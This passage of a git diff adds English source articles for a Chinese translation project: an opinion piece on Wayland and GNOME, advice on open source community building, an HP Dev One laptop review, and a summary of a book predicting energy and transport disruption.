have to assume that they are not decorated due to GNOME’s decision, so they must go for CSD. Again, there is a protocol extension that fixes that; more on that later. + +### To summarize + +The above three facts regarding the core protocol in summary are: + +1. Desktop components need to be drawn by the compositor +2. CSD is a must. +3. CSD is implementable, although clients can’t move their windows. + +According to these 3 facts, I’ve concluded my opinion that Wayland’s core protocol is tailored only for GNOME needs. + +What if you wanted some functionalities not available in the core protocol. Wayland or GNOME developers’ answer to this is Wayland’s protocol extensions. That simply means that compositors can offer extra functionality by creating new protocols. The problem with this approach is that means that some apps may work on some compositors and may not work on the rest of the compositors (that’s if it needs some of the protocol extensions). That may have resulted in severe fragmentation in theory, but the reality is less than worse thanks to the efforts of [wlroots project][9] and KDE. + +### Wlroots has mostly saved the situation + +[Wlroots][10] is a library created by [Sway compositor][11] developers. It enables developers to create Wayland/X11 compositors easily. Their main focus is Wayland. There are already many compositors available based on wlroots. What is interesting though is the protocol extensions that wlroots implement. + +Wlroots has many protocol extensions, including: + +* [LayerShell][12] protocol +* [xdg-decoration][13] protocol + +The LayerShell protocol enables desktop components to be drawn outside the compositor. Which also makes it possible to create independent cross-desktop desktop components. Many projects utilize this protocol that you can explore in the following repositories: + +* [nwg-shell][14] +* [wf-shell][15] +* [awesome-wayland][16] + +Also, have a look at [GtkLayerShell library][17]. Which is a library for writing Gtk apps with LayerShell protocol.Because LayerShell protocol is not a part of the core protocol apps using it work on wlroots based compositors and KDE, it’s not supported only on GNOME. + +The second protocol is xdg-decoration protocol. Made by wlroots and KDE, it enables apps to choose between CSD and SSD. + +These protocols work on wlroots compositor and KDE. The only obstacle preventing the unification of Linux desktop is GNOME. They have decided not to implement any of these protocol extensions. Which put all apps that use SSD in a situation where they have to use SSD in supporting environments and CSD in gnome. The people actually feeling the pain are toolkits developers. To give you more context, have a look at the “CSD initiative” started by Tobias Bernard from GNOME, and this blog post from Martin’s blog (kwin’s developer). Also, have a look at this issue. The situation is mostly solved by now, that Qt and Gtk draw CSD always on GNOME and utilize the xdg-decoration on other environments. However, in my opinion, that is not good because it makes the platform less standardized/unified for no good reason. After all, in the future, toolkits developers may decide to just go for CSD to avoid the pain. + +### The root of all these problems + +The root of all these is GNOME or Wayland developers’ decision to have the core as minimum as possible and require the creation of protocol extensions. + +Imagine if the web worked in a similar way. That means that websites would not be able to target the standardized (minimal) protocols because they are not enough and will rely on protocols created by certain browsers. So websites would target specific browsers, not the core protocol. That would had been a nightmare, right? Well, that’s the current Wayland situation. + +### What is the solution? + +The solution, in my opinion, is to put all these protocol extensions in the core protocol, or that might not be necessary if GNOME implements the above protocols (Which is not likely to happen anytime soon.)In simple words, GNOME is the root cause of the problem, and it can solve the problem if it decides to do so. + +Author Info: This article has been contributed by It’s FOSS reader Hamza Algohary. Hamza is a computer engineering student and a Linux and open source enthusiast. He also develops apps for Linux desktop. You can find his work on [his GitHub profile][18]. + +*The views and opinions expressed are those of the authors and do not necessarily reflect the official policy or position of It’s FOSS.* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/wayland-core-protocol-issue/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/wayland-core-protocol-gnome.png +[2]: https://wayland.freedesktop.org/docs/html/ch04.html +[3]: https://www.w3.org/standards/ +[4]: https://wayland.app/protocols/wayland +[5]: https://wayland.app/protocols/ +[6]: https://github.com/ricotz/plank +[7]: https://github.com/KDE/latte-dock +[8]: https://wayland-book.com/xdg-shell-in-depth/interactive.html +[9]: https://gitlab.freedesktop.org/wlroots/wlroots +[10]: https://gitlab.freedesktop.org/wlroots/wlroots +[11]: https://swaywm.org/ +[12]: https://wayland.app/protocols/wlr-layer-shell-unstable-v1 +[13]: https://wayland.app/protocols/xdg-decoration-unstable-v1 +[14]: https://github.com/nwg-piotr/nwg-shell +[15]: https://github.com/WayfireWM/wf-shell +[16]: https://github.com/natpen/awesome-wayland +[17]: https://github.com/wmww/gtk-layer-shell +[18]: https://github.com/hamza-Algohary diff --git a/sources/talk/20220726 Open Source Software- Is There an Easy Path to Success-.md b/sources/talk/20220726 Open Source Software- Is There an Easy Path to Success-.md new file mode 100644 index 0000000000..7f9aea7ab5 --- /dev/null +++ b/sources/talk/20220726 Open Source Software- Is There an Easy Path to Success-.md @@ -0,0 +1,100 @@ +[#]: subject: "Open Source Software: Is There an Easy Path to Success?" +[#]: via: "https://www.opensourceforu.com/2022/07/open-source-software-is-there-an-easy-path-to-success/" +[#]: author: "Jules Graybill https://www.opensourceforu.com/author/jules-graybill/" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open Source Software: Is There an Easy Path to Success? +====== +There’s so much that goes on behind the scenes while developing open source software. So how does one make an open source project successful? Is there a shortcut? This article indicates there isn’t one. + +![team work working together][1] + +Open source has become all the rage now. Many entrepreneurs are drawn to it by the allure of quick success. But the truth is, there is no easy path to such success. There is no one thing that you can do to get all of open source right. + +In fact, a lot of the challenges that companies face early on are not technology challenges, but are people and cultural challenges. + +There are many layers of open source that need to be worked on to build a project that can become a hit in the market. And maintaining that success is an ongoing process. But at the crux of it all lies finding the right answer to a very basic question: what exactly is open source? + +### Open source is the code + +For many new users who may not be fully aware of the layers that make open source, the answer is fairly simple: open source is software! And that is not wrong, of course, since that is how most of us are using it. But there’s just so much more to open source than merely being touted as software. + +The essence of any open source project still remains the code. It is what makes the project special and useful for the user. When you’re working in open source, the code is just as much a part of the product as the software. + +Developing a project from the ground up, or even creating a fork of an existing project, requires thousands and thousands of lines of code to be written, even while handling such a large and complex codebase. Especially in the case of creating a fork, care must be taken to remove any prior licences, marketing material, or anything that might not be useful for the user anymore. After all, it is the features of a project that attract its user base and what retains it. When end users are deciding whether to use open source software, they will read the source code, and what they see there should be something that builds their confidence. + +### Open source is the community + +How you engage with the community is also a part of the task of building a product. Building a community and maintaining a healthy relationship with it is one of the most crucial aspects of open source, but is also often the hardest for most leaders as there is very little one can do to control it. One can try to lay the foundation and can be supportive but, ultimately, it’s the people who decide whether they want to join a community. + +It is important to maintain a level of transparency with the community and keep it in the loop. The community can get involved at any step that it wants to. It’s really important that you show most of your work to the community while you are doing it, apart from things that need to be done confidentially, like setting up security, signing certificates, branding, and so on. This helps in winning its trust because, in the end, it is the community that you are liable to, and it can make or break your project. This may make the project work a lot more deliberate, slower and exposed, but it works well in the end. + +Making your work-in-progress so open can seem daunting, especially when you are worried about the repercussions of a delay in updates or having a bug. Yet, making the community members privy to your moves will not only help you build a trustful relationship with them, but also make them feel appreciated. + +However, making your workflow public will also invite scrutiny from the community members, who will often have their opinions and offer you their feedback. Taking note of this feedback is important, because that is how you can make your open source project truly for them. They are the end users and their feedback will reflect how they see your project panning out for them in the long run, and ultimately, how successful and mainstream your software becomes. + +As an example, when we are thinking about a new feature, we publish a request for comments at RFC. We get a lot of feedback, and we have to think hard about how we can incorporate it. + +Since open source is a largely collaborative work, there will be initiatives by the community to offer their support in making the project the best version possible. Not all of it will work out. But as long you are listening, the community will feel involved. + +Engaging with the community has its pitfalls too. There may be differences of opinion within the community, and also between the maintainer and the community, especially when it comes to the matter of governance. Governance is something which is really important for an open source project to have. That is why it is important to have clear documented governance practices, which also include the community. + +Community governance is a tough, but essential, nut to crack. Delegation in itself requires a lot of trust. For a project with millions of lines of code, it can be cumbersome to find someone in the community who can meaningfully lead it. But open source projects often consist of smaller sub-projects, which are better left handled by someone from the community. This helps the community to be more closely involved too. + +| - | +| :- | +| Building a community always has its highs and lows. Let me list some of the tricks that helped maintain a healthy balance between the community’s and my team’s vision. +State your principle: Especially in the early stage of the open source project when the source code is still coming together and things are not exactly going perfectly, it is hard for somebody coming from outside to really understand why you are making the decisions that you are making. Communicating the principles on which you take actions helps you to be upfront about your thought process so that the community does not interpret things incorrectly. +This practice is really helpful. It is also important to follow through and show that when you make a decision, it is guided by one of these principles. +Decide how you are going to collaborate: This may be through channels like Discord, Slack, or simply emails. But if you try to use all of them, you will immediately diffuse the community. People will be communicating with each other all over the place. Choose one or two collaboration tools, and really invest in them for synchronised communication. +Treasure the feedback: Listen to feedback from the community and act on it. Show tat you care about what the community says, even if it requires you to make tough decisions. +Maintain a code of conduct: If you interact with a community, you need to define what is going to be acceptable conduct. Having that in place helps warn people in case they go out of line. You can avoid a lot of trouble if you can just define this early on. +Think about how you will distribute your project: There may be instances when you may not be willing to make your project available to the public because you do not have a certain component in place, or you have features you may not want to make accessible to everyone. Creating distribution terms that suit your preference without compromising on what the user wants is key, so that people who want certain features can access these while those who can do without them also have the option to start using the project without having to compromise. +Avoid polls as much as you can: This is because, often, certain members vote for an option that may not be what the majority goes with. This can create a sense of failure in these members and make them feel excluded from the project. Instead, try asking them what problems they would like to be solved, and then try to invent a solution that does not involve trade-offs. | + +**State your principle:** Especially in the early stage of the open source project when the source code is still coming together and things are not exactly going perfectly, it is hard for somebody coming from outside to really understand why you are making the decisions that you are making. Communicating the principles on which you take actions helps you to be upfront about your thought process so that the community does not interpret things incorrectly. + +This practice is really helpful. It is also important to follow through and show that when you make a decision, it is guided by one of these principles. + +*Decide how you are going to collaborate:* This may be through channels like Discord, Slack, or simply emails. But if you try to use all of them, you will immediately diffuse the community. People will be communicating with each other all over the place. Choose one or two collaboration tools, and really invest in them for synchronised communication. + +*Treasure the feedback:* Listen to feedback from the community and act on it. Show tat you care about what the community says, even if it requires you to make tough decisions. + +**Maintain a code of conduct:** If you interact with a community, you need to define what is going to be acceptable conduct. Having that in place helps warn people in case they go out of line. You can avoid a lot of trouble if you can just define this early on. + +*Think about how you will distribute your project:* There may be instances when you may not be willing to make your project available to the public because you do not have a certain component in place, or you have features you may not want to make accessible to everyone. Creating distribution terms that suit your preference without compromising on what the user wants is key, so that people who want certain features can access these while those who can do without them also have the option to start using the project without having to compromise. + +*Avoid polls as much as you can:* This is because, often, certain members vote for an option that may not be what the majority goes with. This can create a sense of failure in these members and make them feel excluded from the project. Instead, try asking them what problems they would like to be solved, and then try to invent a solution that does not involve trade-offs. + +### Open source is licensing + +Open source is about giving your users autonomy over how they want to use your software, and licensing provides just that. What’s great about an open source licence is that regardless of what you as a maintainer do, all your end users and stakeholders can always maintain a certain set of forks, which are important forks. + +Licensing gives people the option to take the project into a different direction if they deem it fit. They have the right to create a fork, which results in a lot of amazing software being developed. Maintainers have more responsibility to listen to their community members and to run the project in a way that works for them. + +It’s advisable to make use of the many licences available instead of setting your own terms separately, simply because stakeholders and users are usually familiar with commonly used licences, so you do not have to waste time explaining them. This also helps you to focus your energy on the other parts of the project. + +### Finally, open source is a movement + +Open source involves many, many dimensions and people. Most importantly, it is about understanding what these people want and creating an environment that encourages collaboration and transparency. It is about building communities that help to build the open source project the way they want it to be. The more opportunity maintainers create to let them do that, the better the product is and the more successful it gets. + +Open source is all of these things and the more expansive view you take, the better you can leverage it. Think about how you can excel in every dimension of open source because, at the end of the day, there is no easy path to open source success. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/open-source-software-is-there-an-easy-path-to-success/ + +作者:[Jules Graybill][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jules-graybill/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/team-work-working-together-1.jpg diff --git a/sources/talk/20220727 My honest review of the HP Dev One.md b/sources/talk/20220727 My honest review of the HP Dev One.md new file mode 100644 index 0000000000..fce898e82d --- /dev/null +++ b/sources/talk/20220727 My honest review of the HP Dev One.md @@ -0,0 +1,121 @@ +[#]: subject: "My honest review of the HP Dev One" +[#]: via: "https://opensource.com/article/22/7/hp-dev-one-review" +[#]: author: "Anderson Silva https://opensource.com/users/ansilva" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +My honest review of the HP Dev One +====== +Here are my first impressions of the hardware, running the pre-installed Pop!_OS, and running Fedora on HP's new Linux-based laptop. + +![Working from home at a laptop][1] + +Image by: + +Opensource.com + +A few weeks ago, HP joined the bandwagon of major laptop manufacturers releasing a Linux-based laptop, the [HP Dev One][2]. The brand joins others such as Lenovo and Dell, offering a laptop with a pre-installed distribution of Linux in the US market. HP joined forces with smaller Linux-based laptop brand System76 to pre-install Pop!_OS as their distribution of choice on the device. Pop!_OS is a Ubuntu-based distribution, which System76 started (and is currently the primary maintainer) to maximize the features of its own laptops sold on its website. + +This article is a quick look at the HP Dev One, including first impressions of the hardware itself and running the pre-installed Pop!_OS and then Fedora on it after a few days. It is not about comparing them, just a few notes on how well they did on the HP Dev One. + +### HP Dev One hardware + +I haven’t owned an HP laptop in over a decade. I don’t even remember why I distanced myself from the brand, but somehow it just happened. So, when I read about the HP Dev One, several things sparked my interest. Here’s a list of them. Some may be silly or nit-picking, but they still carried some weight in my decision: + +* The most obvious reason was it came with Linux and not Windows. +* I have never used Pop!_OS, so the fact that HP chose Pop!_OS made me curious to use it. +* I have never owned an AMD-based laptop. The HP Dev One comes with an AMD RYZEN™ 7 PRO 5850U Processor with eight cores and 16 threads. +* The specs versus price seemed good. The price is $1099 USD, which is very reasonable compared to other brands with similar specs. +* No Windows key on the keyboard. Instead, it says “super,” which I think is cool. +* Upgradeable RAM. The laptop comes with 16 GB of RAM, but unlike so many laptops nowadays, it is not soldered on the board, so you can upgrade it (more on upgrading below). +* The laptop was in stock with a commitment for fast shipping. +* Reviews were favorable. + +For all of the reasons above, I ordered it, and two days later, I had the HP Dev One on my doorstep. + +![HP Dev One super key][3] + +Image by: + +(Anderson Silva, CC BY-SA 4.0) + +By the time the laptop arrived, the extra 64 GB of RAM I had ordered had also arrived, so the first thing I wanted to do was upgrade the RAM. It turned out that the bottom plate of the HP Dev One has very small, special (yet not proprietary) screws, so I had to run to the hardware store to get the proper screwdriver. + +![HP Dev One RAM upgrade][4] + +Image by: + +(Anderson Silva, CC BY-SA 4.0) + +I agree with [other online reviews][5] regarding the quality of the laptop. It does feel sturdy. The trackpad feel is good enough, and I had no issue with it. I found the keyboard not to be as good as some other reviewers claim. To me, the keys are a little heavy, and they feel almost a bit like silicone or rubber. I didn't find it terribly comfortable. In fact, I am typing this article in the HP Dev One, and I almost feel like I need to take a break here and there to let my fingertips rest. + +The 1080p screen is bright, but also very reflective. If you are a Thinkpad trackpoint fan, you will definitely enjoy this feature on the HP Dev One. The backlit keyboard is nice, and the built-in camera cover is something more laptops should adopt. + +![HP Dev One top view][6] + +Image by: + +(Anderson Silva, CC BY-SA 4.0) + +One question or possible issue I have with the HP Dev One is the fact that their website talks about the one-year customer service and warranty on the machine, but I haven’t been able to find a way to extend that warranty or even upgrade to something more premium like an onsite or next day part replacement in case I were ever to need it. + +### Pop!_OS on HP Dev One + +As previously mentioned, I’ve never used Pop!_OS. I’ve used Ubuntu and many other distributions, but to me, Pop!_OS was a relatively familiar yet new experience. Here are a few notes: + +#### The good + +* Coming from a Fedora and mostly vanilla GNOME background, the four-finger gesture in Pop!_OS took a little getting used to, but once I got into it, it made navigating their implementation of GNOME borderline fun. +* The Pop!_OS’s software shop is called Pop!_Shop. It contains a great variety of software without any need to enable special repositories. It is easy to use, and installation is fast. +* The integration between Pop!_OS and the hardware really is well done. Congratulations to both System76 and HP engineers for putting this machine together. +* Pop!_OS has a nice built-in feature for backup and restoring your installation w/o destroying your home directory. +* I installed Steam and a few games, and it worked pretty well. +* I ran a couple of test containers with podman, and it worked very nicely as well. +* I installed a virtual machine, and it ran very smoothly, too. + +#### The not so good + +* The default wallpaper that comes with the HP Dev One looks a bit fuzzy to me. For such a nice machine, it feels like the wallpaper is running at the wrong resolution. To be fair, there are other wallpapers to choose from in the Settings. +* The out-of-the-box fonts for Pop!_OS could be better. I find them hard to read, and in my opinion, it makes the UI too crammed. +* Adding the USB-C powered 4K monitor worked OK, but my eyes noticed slight flickering in some parts of the screen. Could this be an X11 issue, given that Pop!_OS defaults to X11? + +### Fedora on HP Dev One + +I played around with Pop!_OS for about two days before deciding to boot into Fedora using a live USB media. I did that first to see what type of hardware detection Fedora could do out of the box. To my surprise, everything worked right away. That’s when I decided to wipe the entire 1 TB SSD and install Fedora on the HP Dev One. As promised, this is not a Fedora vs. Pop!_OS comparison article; it is merely a few notes on both distributions running on this Linux-focused hardware. + +In case you haven’t read my bio in this article, and for the sake of transparency, I am a Fedora contributor, so it is fair for me to say that I am biased towards the Fedora distribution, but don’t let that make you think I recommend Fedora over Pop!_OS on the HP Dev One. They are both great distributions, and they both run very nicely on it. Take your pick! + +I can tell you that Fedora runs smoothly on the HP Dev One, and although there may be some performance tuning to match some of the benchmark numbers against Pop!_OS, I have been very pleased with its performance. Using the three-finger gestures to move between virtual desktops is a lot more natural to me than the four-finger ones in Pop!_OS, and I’ve been able to run Steam and Proton-based games on Fedora just like Pop!_OS. + +The only comparison I will make is that when using the secondary USB-C 4K monitor with Fedora, I did not experience any flickering. Was it because of Wayland? + +### Final thoughts + +I’ve had the HP Dev One for a little over four days now, and I’ve run Pop!_OS and Fedora on it so far. I even restored Pop!_OS after a full Fedora installation, which was a very easy process. Somehow, Pop!_OS detected it was an HP Dev One and did all the needed installation, including the HP-based wallpapers, without me having to do any extra steps. + +As I finished this article, yet again, I went back to Fedora (force of habit), but I wouldn’t have any issue staying on Pop!_OS on the HP Dev One. Who knows, maybe I might even try different distributions in the future. + +At the end of the day, the HP Dev One is a solid Linux laptop without a Windows key and no AMD, Intel, or Windows stickers on it. It is fast, feels well built, and is reasonably priced especially given how quickly it ships to you (US only). I would love to see HP provide more documentation on their website about extending the warranty, and I hope they will be able to make this laptop available in other parts of the world. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/hp-dev-one-review + +作者:[Anderson Silva][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ansilva +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://hpdevone.com/ +[3]: https://opensource.com/sites/default/files/2022-07/superkey.jpg +[4]: https://opensource.com/sites/default/files/2022-07/ram.jpg +[5]: https://www.techrepublic.com/article/system76-hp-perfect-dev-one/ +[6]: https://opensource.com/sites/default/files/2022-07/topview.jpg diff --git a/sources/talk/20220808 How open organizations can harness energy disruptions.md b/sources/talk/20220808 How open organizations can harness energy disruptions.md new file mode 100644 index 0000000000..795d39d2f0 --- /dev/null +++ b/sources/talk/20220808 How open organizations can harness energy disruptions.md @@ -0,0 +1,168 @@ +[#]: subject: "How open organizations can harness energy disruptions" +[#]: via: "https://opensource.com/open-organization/22/8/energy-disruption" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How open organizations can harness energy disruptions +====== +Learn strategies for communities on the use of electric vehicles over internal combustion engined cars, the use of self-driving vehicles over human-driving vehicles, and the use of solar power generation over nuclear power generation. + +![Solar panels][1] + +Image by: Photo by Jason Hibbets + +Many people talk a lot about the values of [Open Organization Principles][2], but in many ways, they require people to change how they do things, which can be difficult. That is true for businesses and industries as well. Disruption in many sectors is coming. How do we use Open Principles to address them? This article looks at what's happening in industries related to energy and transportation when it comes to drastic costing changes that will lead to industrial disruption. + +Business disruption is happening through new technology or methods, which will slash costs. This is forcing industrial change. Consider the oil, coal, natural gas, nuclear, petroleum, biofuels, and charcoal (the primary energy in many developing countries) industries. All these industries are grouped in the fossil fuel-burning energy-generating industry. Imagine them all becoming obsolete and totally replaced by the solar and wind industries in the next decade or so because of costs. That is industrial disruption. + +As a resource, I have read, [Clean Disruption of Energy and Transportation,][3] by Tony Seba. + +The book was written before 2014, but many of his concepts are valid today. In his book, Seba presents an energy-usage case for electric vehicles (EV) replacing internal combustion engine vehicles (ICE), and the entire automotive industry shrinking with autonomous (self-driving) car disruption strictly on cost factors. If this is true, adapting to those changes will be required, and Open Organization Principles can be helpful. + +He also builds a case for current electrical power generation being completely replaced in the years ahead by solar and wind with battery storage based strictly on cost competitive advantages. I discussed this in my article on [Jeremy Rifkin's][4] book [The Zero Marginal Cost Society: The Internet of Things, the Collaborative Commons, and the Eclipse of Capitalism.][5] + +Seba's book reminds me too of [Michael E Porter's five competitive forces the force of substitutes][6]. + +For example, automobiles replaced the horse and carriage in about a decade in the early 1900s, and digital cameras replaced all film cameras on the market. This replacement was due to: + +1. A cost advantage with prices coming down at exponential rates (from dollars to pennies like computer sizes to computing capacity) through increased innovation, scale, and competition. +2. Superior product features. +3. Added new product features, +4. Central control replaced by distributed/shared control. + +For these reasons, in the past, products became obsolete by something innovative. They were disrupted. + +Imagine wanting to make an open organization community that can produce its own electricity instead of being forced to buy electricity at much higher prices. Could such a community be formed? Throughout his book, Seba makes a case that this is possible using the four above factors. + +This article is the first of a two-part series on this topic. This article gives strategies for open organization communities on the use of electric vehicles over internal combustion engined (ICE) cars, the use of self-driving vehicles over human-driving vehicles, and the use of solar power generation over nuclear power generation. I'll give more in the second part of this series. + +### A question of power + +Seba assumes that electrical power is a commodity with no distinct quality difference and that there is no such thing as high-quality and low-quality electricity to the user. The only difference is the price of electricity at a given time. + +The price of electricity fluctuates greatly. He also assumes that the automotive industry only has one quality, the movement of goods and people. Therefore, Seba's whole book looks at the cost (particularly end-user price) of both electricity (in kilowatt/hours) and movement (miles/kilometers over the life of a vehicle). He does a wonderful job of breaking down indirect and direct costs in great detail, including many costs I had never considered. This seems to be the same conclusion Jeremy Rifkin came to, calling it marginal costs in his book, *The Zero Marginal Cost Society* (cited above). + +By providing general cost breakdowns, Seba enables readers to seriously consider how they and their community might use solar and wind electric power generation. One could build an open organization community based on the information this book makes available. + +Coincidentally, I've just read Bill Gates' book, [How to Avoid a Climate Disaster][7]. Gates' book has one primary goal: To remove 51 billion tons of greenhouse gases from the atmosphere by 2050. Gates would love it if Seba's prediction comes true. + +Seba believes that by 2030, all electricity generation and vehicles on the road will be carbon-free. Seba believes that over a 10-15 year period disruptive forces will penetrate industries in an "S" shaped growth. They will start slowly while the users adjust to this new purchasing option. + +Then, once several success stories are in operation, disruption will take off like a rocket, making all old technology and processes obsolete. After several decades, the demand will flatten when the disruptive technology fully serves the market. + +![S demand chart relating growth and time][8] + +Image by: + +(Ronald McFarland, CC BY-SA 4.0) + +Here is how the "S" demand works for electrical energy according to Seba: + +1. Some solar and wind systems are accepted in the market, making capital more available and less costly. +2. More creative financing plans are developed and offered. +3. Local, distributed energy generation increases. +4. The business structure of energy flips from centralized to distributed. +5. Enabling technologies, such as sensors, artificial intelligence, big data, and mobile communications, improve exponentially. Sensors, smaller and more energy efficient than ever before, will have more information on energy usage than any conventional utility could ever obtain. +6. The increasing cost of resource-based energy will push more people away from them. +7. Complementary markets, such as wind power generation, electric vehicles, and self-driving cars will increase exponentially. +8. Investments in other storage technologies for shared solar facilities, wind operations, electric vehicles, and self-driving cars will increase. +9. The business environment of energy will become more and more distributed. +10. The conventional command-and-control energy business model will enter a vicious cycle of rising prices and obsolete assets. + +Seba writes, "World demand for energy is expected to be 16.9 TW by 2030, according to the US Energy Information Agency." That may seem dire, but Seba adds, "Should solar continue on its exponential trajectory, the energy generation will be 100% solar by 2030." + +I'm sure that Gates would be delighted if that turns out to be true, but he is taking no chances on just those predictions. Gates is investing in future nuclear power plants and carbon capture systems for current fossil fuel burning plants to reduce carbon dioxide emissions further. + +### Building a community + +Assume we want to build an open organization community to introduce three things: + +* The use of electric vehicles (EV) over internal combustion engined (ICE) vehicles. +* Self-driving vehicles over human-driven vehicles. +* Solar power generation over nuclear power generation. + +Here is additional detail on Seba's arguments for each. + +#### 1. Use of electric over internal combustion engined vehicles + +Consider the following attributes of EV over ICE vehicles: + +* Seba presents that an electric vehicle is inexpensive to operate. An EV is five times more efficient in energy use than ICE vehicles. That makes an EV 10 times cheaper than ICE. +* An electric vehicle is cheaper to maintain because it contains few moving parts. +* In the future, there will be wireless charging stations along the road, so vehicles need not stop to charge. ICE vehicles will always have to stop at filling stations. +* Electric vehicles are safer, with more safety sensors. +* By 2025, EVs will likely be cheaper to purchase than ICE, with battery costs coming down rapidly. +* Battery performance and range are increasing with new developments. +* Electric vehicles can gather driving data in real-time for added safety, performance analytics, and future improvements. +* Electric vehicles can use excess electricity in the owners' home solar system or sell the excess to the local utility company. +* An EV company can offer free fuel and maintenance for five years if it wants to. No ICE vehicle manufacturer can do this. + +#### 2. Use of self-driving vehicles over human-driving vehicles + +Young people are moving away from owning vehicles in favor of Uber or Lyft services. It is becoming cheaper in the long term. Ride-sharing offers many advantages, including: + +* Each Uber/Lyft vehicle on the road is estimated to replace around 15 cars purchased. This result shrinks the overall vehicle numbers, impacting the need for parking lots and vehicle insurance. +* Owning an asset used less than 10% of the time is not practical. Most cars are parked most of the time, except for commercial vehicles that operate during work hours. + +The next step is self-driving cars, according to Seba. When self-driving cars are fully in the market, there will be disruption in the automotive, transportation, logistics, and oil industries. Self-driving cars will be mainly purchased, owned, and operated by corporations with fleets, not individuals. + +Self-driving cars provide many advantages, a few of which are listed here: + +* Self-driving cars expand the transportation of people. Children, the elderly, and those with disabilities will be new customers. +* The benefits of self-driving cars include: + * Save lives (no human error, advanced machine learning, and sensing). + * Save time (less time on the road with less congestion or looking for parking spaces). + * Save space (fewer roads, garages, and parking spaces required). + * Save energy (lower fuel consumption). + * Save money (in purchasing, operating, maintaining, and insuring for transportation). +* The cost of transportation will be cheaper, safer, and easier. + +#### 3. Use of solar power generation over nuclear power generation + +Solar power generation pricing is falling rapidly and is projected to continue falling with more use. This is where the Internet of Things (IoT) comes in. While nuclear power costs will also come down, it's not competitive, particularly as decommissioning is extremely expensive. + +Here are some considerations for solar power generation: + +* Solar cost has improved by 1,540 times since 1970. Based on Seba's research, solar costs are expected to come down by another two-thirds by 2020 (at the time the book was written in 2014). +* Currently, operating nuclear power plants' costs are increasing and are continually over budget in cost. If their costs don't come down, they will phase out. Bill Gates is betting on improved low-cost designs. +* Solar panel costs have dropped by a factor of US$100/Wh (Watt-hour) to 65¢/Wh from 1970 to around 2012, far lower than nuclear prices. +* New nuclear power plants are expected to provide electricity at 25¢/kWh-30¢/kWh. That is not competitive, with solar being around 12.5¢/kWh. In the United States, residential customers pay around 12.5¢/kWh, and some solar power suppliers expect to reach 5.79¢/kWh soon. +* Nuclear power generation uses twice as much water as natural gas, which is 10,000 times more than solar. This places added stress on the freshwater supply. +* There are now solar manufacturing companies providing power 24 hours/day. [Torresol Gemasolar][9] is a company in Spain putting one of these facilities into operation. They use safer and cheaper molten salt thermal energy storage. This energy storage method is a tenth of the cost of Li-on batteries. +* Seba says, "Large, centralized, top-down, supplier-centric energy is on the way out. It is being replaced by modular, distributed, bottom-up, open, knowledge-based, consumer-centric energy." For solar, many users will also be producers and sharers of electricity and information. +* Solar now regularly provides 20-35% of Germany's power. That will continue with improved battery storage, especially as Germany moves away from Russian oil and gas due to the war in Ukraine. Both for residential and commercial solar plants, tens of thousands of power generation units are being installed in the United States, Europe, and Australia. +* In 2014, 430 reactors in 31 countries provided 370 GW of nuclear power capacity, mainly in France, Japan, Russia, and the United States. These most likely will be replaced with solar, wind, or [4th generation][10] nuclear, which uses waste as fuel. Europe will shut down 80% of its 186 nuclear power plants by 2030 ([Global Data][11]). Many current nuclear power plants are close to their shutdown age. +* Nuclear power plants are not insurable at any premium, so only governments protect them. + +### Wrap up + +In the second part of this series, I'll discuss ideas regarding the use of solar power generation over oil power generation, the use of solar power generation over natural gas (with methane) power generation, the use of solar power generation over biofuels power generation, the use of solar power generation over coal power generation, and distributed electricity generation (small and simple) over conventional large utilities. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/8/energy-disruption + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_solar_panels_520x292_JH.png +[2]: https://theopenorganization.org/definition/open-organization-definition/ +[3]: https://www.amazon.co.jp/Clean-Disruption-Energy-Transportation-Conventional/dp/B00RWNDUZA +[4]: https://en.wikipedia.org/wiki/Jeremy_Rifkin +[5]: https://www.goodreads.com/book/show/18594514-the-zero-marginal-cost-society +[6]: https://www.youtube.com/watch?v=mYF2_FBCvXw +[7]: https://www.gatesnotes.com/Energy/My-new-climate-book-is-finally-here +[8]: https://opensource.com/sites/default/files/2022-07/s-demand.png +[9]: https://www.youtube.com/watch?v=QN-8DMZLpyI +[10]: https://en.wikipedia.org/wiki/Generation_IV_reactor +[11]: https://www.globaldata.com/ diff --git a/sources/talk/20220816 The Effect of Nvidia-s Open Source Drivers On Linux Gamers.md b/sources/talk/20220816 The Effect of Nvidia-s Open Source Drivers On Linux Gamers.md new file mode 100644 index 0000000000..54800cabbf --- /dev/null +++ b/sources/talk/20220816 The Effect of Nvidia-s Open Source Drivers On Linux Gamers.md @@ -0,0 